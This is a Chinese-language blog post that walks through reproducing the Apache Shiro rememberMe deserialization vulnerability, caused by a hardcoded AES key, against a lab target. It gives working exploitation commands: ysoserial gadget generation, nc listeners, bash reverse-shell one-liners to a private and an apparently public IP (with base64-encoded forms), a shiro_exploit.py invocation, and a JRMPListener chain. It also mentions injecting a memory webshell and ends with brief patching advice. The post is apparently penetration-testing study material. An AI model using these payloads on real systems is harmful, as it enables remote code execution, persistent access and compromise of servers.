🗒️shiro反序列化漏洞
2022-8-7
| 2023-10-29
字数 1021阅读时长 3 分钟
type
status
date
slug
summary
tags
category
icon
password

简介

Apache Shiro框架提供了记住我(RememberMe)的功能,关闭了浏览器下次再打开时还是能记住你是谁,下次访问时无需再登录即可访问。

漏洞原理

Shiro对rememberMe的cookie做了加密处理,shiro在CookieRememberMeManaer类中将cookie中rememberMe字段内容分别进行序列化、AES加密、Base64编码操作。在识别身份的时候,需要对Cookie里的rememberMe字段解密。根据加密的顺序,不难知道解密的顺序为:获取rememberMe cookie,base64 decode、解密AES(加密密钥硬编码)、反序列化
而问题就出在AES加密的密钥Key被硬编码在代码里,这就意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者构造一个恶意的对象,并且对其序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。

工具准备

图形化工具:https://github.com/j1anFen/shiro_attack
shiro_cookie.py
poc3.py

复现思路

1.漏洞特征验证

第一种情况
随便输入账号密码,使用burp抓取请求包,勾选remember me在返回包中set_cookie中存在rememberMe=deleteMe特征
notion image
第二种情况
如果直接发送数据包,返回包不存在特征:Set-Cookie: rememberMe=deleteMe;
可以在请求包中的cookie中添加:rememberMe=deleteMe;
然后查看返回包中是否存在特征:Set-Cookie: rememberMe=deleteMe;
notion image

2. 手工漏洞利用

使用ysoserial生成CommonsBeanutils1的Gadget:
java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/succ123" > poc.ser
notion image
再使用前面创建的poc3.py生成payload
先安装库:pip install pycryptodome
执行命令: python3 poc3.py
notion image
将生成的payload替换到请求包cookie中,全部替换,不只是替换rememberMe参数
notion image
进入搭建靶机的机器,查看生成文件
notion image

3.反弹shell利用

notion image
先开启kali监听: nc -lvp 1234
bash -i >& /dev/tcp/192.168.110.131/1234 0>&1
base64编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMC4xMzEvMTIzNCAwPiYx
再执行python3 shiro_exploit.py -t 3 -u http://192.168.110.132:8080 -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMC4xMzEvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}"
notion image

4. 工具利用

(1)shiro反序列化综合利用工具

notion image
notion image
notion image
注入蚁剑内存马
notion image
notion image

(2) shiro 550/721

notion image
notion image
notion image
notion image

漏洞利用成功的步骤:

手动注入:

步骤一: 生成密码
python poc.py 反弹ip:监听端口
步骤二: 开启JRMP监听
bash -i >& /dev/tcp/116.55.22.113/8888 0>&1
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections2 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTYuNTUuMjIuMTEzLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}'
第三: kali开启监听
nc
第四: 发送数据包

服务器处理流程:

  1. vps 跑起 exploit/JRMPListener ,并指定生成 payload1(我们第二步骤)
  1. 向漏洞服务器发送 payloads/JRMPClient 生成的 payload2(我们第一步骤)
  1. 漏洞服务器反序列化 payload2
  1. 反序列化 payload2 的过程中,将会与 exploit/JRMPListener 进行通信
  1. exploit/JRMPListener 自定义了来自任意 JRMP client 的通信处理流程,会将 payload1 返馈给漏洞服务器
  1. 漏洞服务器会根据 exploit/JRMPListener 设计的通信处理流程,进一步反序列化 payload1
  1. payload1 中包含了 RCE 的gadget构造,最终在漏洞服务器上执行任意代码

漏洞修复

1.确定自己使用的shiro版本要高于1.2.4;
2.在代码中全局搜索 "setCipherKey(Base64.decode(" 关键字,或者"setCipherKey"方法,Base64.decode()中的字符串就是shiro的密钥,要确保该密钥的安全性,千万不要使用公开的密钥。
  • 漏洞复现
  • shiro认证绕过漏洞复现IIS7.x解析漏洞
    Loading...